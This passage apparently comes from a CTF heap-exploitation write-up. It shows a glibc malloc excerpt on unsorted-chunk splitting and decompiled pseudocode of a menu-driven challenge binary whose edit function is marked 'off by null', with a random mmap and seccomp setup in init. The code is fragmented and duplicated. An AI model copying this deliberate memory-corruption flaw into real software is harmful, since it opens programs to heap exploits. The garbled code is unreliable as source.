remainder = chunk_at_offset(victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks(av);
fwd = bck->fd;
if
(__glibc_unlikely(fwd->bk != bck))
{
errstr =
"malloc(): corrupted unsorted chunks 2"
;
goto
errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
/* advertise as last remainder */
if
(in_smallbin_range(nb))
av->last_remainder = remainder;
// 生成last_remainder
if
(!in_smallbin_range(remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
set_foot(remainder, remainder_size);
}
int
__fastcall main(
int
argc,
const
char
**argv,
const
char
**envp)
{
init(argc, argv, envp);
while
( 1 )
{
menu();
switch
( get_int() )
{
case
1:
add();
break
;
case
2:
edit();
// off by null
break
;
case
3:
delete
();
break
;
case
4:
show();
break
;
case
5:
puts
(
"See you next time!"
);
exit
(0);
default
:
puts
(
"Invalid choice!"
);
break
;
}
}
}
int
__fastcall main(
int
argc,
const
char
**argv,
const
char
**envp)
{
init(argc, argv, envp);
while
( 1 )
{
menu();
switch
( get_int() )
{
case
1:
add();
break
;
case
2:
edit();
// off by null
break
;
case
3:
delete
();
break
;
case
4:
show();
break
;
case
5:
puts
(
"See you next time!"
);
exit
(0);
default
:
puts
(
"Invalid choice!"
);
break
;
}
}
}
unsigned
__int64
init()
{
int
fd;
// [rsp+4h] [rbp-Ch]
unsigned
__int64
v2;
// [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
setvbuf
(stdin, 0LL, 2, 0LL);
setvbuf
(_bss_start, 0LL, 2, 0LL);
setvbuf
(stderr, 0LL, 2, 0LL);
fd = open(
"/dev/urandom"
, 0);
if
( fd < 0 )
{
puts
(
"open failed!"
);
exit
(-1);
}
read(fd, &ptrs, 8uLL);
// 获取随机值
close(fd);
ptrs = (
void
*)((unsigned
int
)ptrs & 0xFFFF0000);
mallopt(1, 0);
if
( mmap(ptrs, 0x1000uLL, 3, 34, -1, 0LL) != ptrs )
// 映射随机地址
{
puts
(
"mmap error!"
);
exit
(-1);
}
signal
(14, timeout_handler);
alarm(0x3Cu);
if
( prctl(38, 1LL, 0LL, 0LL, 0LL) )
{
puts
(
"Could not start seccomp:"
);
exit
(-1);
}
if
( prctl(22, 2LL, &filterprog) == -1 )
// 沙箱,启动
{
puts
(
"Could not start seccomp:"
);
exit
(-1);
}
return
__readfsqword(0x28u) ^ v2;
}
unsigned
__int64
init()
{
int
fd;
// [rsp+4h] [rbp-Ch]
unsigned
__int64
v2;
// [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
setvbuf
(stdin, 0LL, 2, 0LL);
setvbuf
(_bss_start, 0LL, 2, 0LL);
setvbuf
(stderr, 0LL, 2, 0LL);
fd = open(
"/dev/urandom"
, 0);
if
( fd < 0 )